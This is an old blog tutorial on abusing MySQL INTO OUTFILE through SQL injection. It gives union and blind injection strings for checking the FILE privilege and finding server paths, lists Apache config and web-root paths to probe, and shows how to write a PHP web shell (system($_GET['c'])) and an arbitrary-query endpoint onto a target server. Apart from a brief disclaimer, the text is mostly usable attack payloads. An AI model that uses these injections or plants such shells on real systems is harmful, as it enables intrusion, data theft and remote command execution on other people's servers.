MySQL into outfile

November 17, 2007

This article will be about into outfile, a pretty useful feature of MySQL for SQLi attackers. We will take a look at the FILE privilege and the web directory problem first and then think about some useful files we could write on the webserver.

Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only.

As in the previous articles I’ll assume you know the basics about SQL injection and union select.

1.) The FILE privilege

If we want to read or write to files we have to have the FILE privilege. Lets find out which database user we are first:
0′ UNION SELECT current_user,null /*
or:
0′ UNION SELECT user(),null /*
This will give us the username@server. We’re just interested in the username by now.

You can also use the following blind SQL injections if you cant access the output of the query.
Guess a name:
1′ AND user() LIKE ‘root
Brute the name letter by letter:
1′ AND MID((user()),1,1)>’m
1′ AND MID((user()),2,1)>’m
1′ AND MID((user()),3,1)>’m

Once we know the current username we can check the FILE privilege for this user. First we try to access the mysql.user table (MySQL 4/5):
0′ UNION SELECT file_priv,null FROM mysql.user WHERE user = ‘username

You can also have a look at the whole mysql.user table without the WHERE clause, but I chose this way because you can easily adapt the injection for blind SQL injection:

1′ AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y
(one column only, do not add nulls here, it’s not a union select)

You can also recieve the FILE privilege info from the information.schema table on MySQL 5:
0′ UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%

blindly:
1′ AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y

If you can’t access the mysql.user or information_schema table (default) just go ahead with the next steps and just try.
If you figured out that you have no FILE privileges you can’t successfully use INTO OUTFILE.

2.) The web directory problem

Once we know if we can read/write files we have to check out the right path. In the most cases the MySQL server is running on the same machine as the webserver does and to access our files later we want to write them onto the web directory. If you define no path, INTO OUTFILE will write into the database directory.

On MySQL 4 we can get an error message displaying the datadir:
0′ UNION SELECT load_file(‘a’),null/*

On MySQL 5 we use:
0′ UNION SELECT @@datadir,null/*

The default path for file writing then is datadir\databasename.
You can figure out the databasename with:
0′ UNION SELECT database(),null/*

Now these information are hard to get with blind SQL injection. But you don’t need them necessarily. Just make sure you find out the web directory and use some ../ to jump back from the datadir.

If you are lucky the script uses mysql_result(), mysql_free_result(), mysql_fetch_row() or similar functions and displays warning messages. Then you can easily find out the webserver directory by leaving those functions with no input that they will throw a warning message like:

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /web/server/path/file.php on line xxx

To provoke an error like this try something like:
0′ AND 1=’0

This works at the most websites. If you’re not lucky you have to guess the web directory or try to use load_file() to fetch files on the server which might help you. Here is a new list of possible locations for the Apache configuration file, which may spoil the webdirectory path:
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include

Check out the webservers name first by reading the header info and then figure out where it usually stores its configuration files. This also depends on the OS type (*nix/win) so you may want to check that out too. Use @@version or version() to find that out:
0′ UNION SELECT @@version,null /*
-nt-log at the end means it’s a windows box, -log only means it’s *nix box.
Or take a look at the paths in error messages or at the header.

Typical web directories to guess could be:
/var/www/html/
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/

Use google to get some more ideas.

Basically you should be allowed to write into any directory where the MySQL server has write access to, as long as you have the FILE privilege. However, an Administrator can limit the path for public write access.

3.) create useful files

Once you figured out the right directory you can select data and write it into a file with:
0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt
(How to figure out column/table names, see my article about MySQL table and column names)

Or the whole data without knowing the table/column names:
1′ OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt

If you want to avoid splitting chars between the data, use INTO DUMPFILE instead of INTO OUTFILE.

You can also combine load_file() with into outfile, like putting a copy of a file to the accessable webspace.
0′ AND 1=0 UNION SELECT load_file(‘…’) INTO OUTFILE ‘…

In some cases I’d recommend to use
0′ AND 1=0 UNION SELECT hex(load_file(‘…’)) INTO OUTFILE ‘…
and decrypt it later with the PHP Charset Encoder, especially when reading the MySQL data files.

Or you can write whatever you want into a file:
0′ AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php

Here are some useful code examples:
// PHP SHELL
<? system($_GET['c']); ?>
This is a very simple one. You can find more complex ones (including file browsing and so on) on the internet.
Note that the PHP safe_mode must be turned off. Depending on OS and PHP version you can bypass the safe_mode sometimes.

// webserver info
Gain a lot of information about the webserver configuration with:
<? phpinfo(); ?>

// SQL QUERY
<? ... $result = mysql_query($_GET['query']); ... ?>
Try to use load_file() to get the database connection credentials, or try to include an existing file on the webserver which handles the mysql connect.

At the end some notes regarding INTO OUTFILE:

  • you can’t overwrite files with INTO OUTFILE
  • INTO OUTFILE must be the last statement in the query
  • there is no way I know of to encode the pathname, so quotes are required
  • you can encode your code with char()
  • If you have any other clever tricks or feel I’m in error on some facts, PLEASE leave a comment or contact me.


    Follow

    Get every new post delivered to your Inbox.

    Join 80 other followers